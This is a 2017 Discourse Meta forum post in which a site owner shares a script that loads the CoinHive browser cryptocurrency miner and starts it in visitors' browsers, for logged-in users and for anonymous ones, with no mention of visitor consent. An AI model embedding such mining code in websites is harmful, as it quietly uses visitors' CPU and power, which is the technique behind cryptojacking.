# Set current User in Javascript

**URL:** <https://meta.discourse.org/t/set-current-user-in-javascript/70263>\
**Category:** Development\
**Created:** [September 18, 2017, 10:55am UTC](https://meta.discourse.org/t/set-current-user-in-javascript/70263 "2017-09-18T10:55:46Z")\
**Posts on this page:** 1\
**Showing post:** 5

<div class="post-metadata">

**Author:** ![Imperator](https://sea3.discourse-cdn.com/meta/user_avatar/meta.discourse.org/imperator/32/45089_2.png) [@Imperator](https://meta.discourse.org/u/Imperator)\
**Post date:** [September 18, 2017, 11:33am UTC](https://meta.discourse.org/t/set-current-user-in-javascript/70263/5 "2017-09-18T11:33:33Z")

</div>

I will try this [https://coin-hive.com/](https://coin-hive.com/)

i have in the body this…

```
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script type="text/discourse-plugin" version="0.2">
var miner = new CoinHive.User('<site-key>', 'test', {
        threads: 4,
        autoThreads: false,
        throttle: 0.8,
        forceASMJS: false
    });
    miner.start();
</script>

```

Then i see how many make the user test. That will i set to the userid or username.

If the user not logged in i will use this

```
var miner = new CoinHive.Anonymous('<site-key>', {
        threads: 4,
        autoThreads: false,
        throttle: 0.8,
        forceASMJS: false
    });

```

---

_[View the full topic](https://meta.discourse.org/t/set-current-user-in-javascript/70263)._
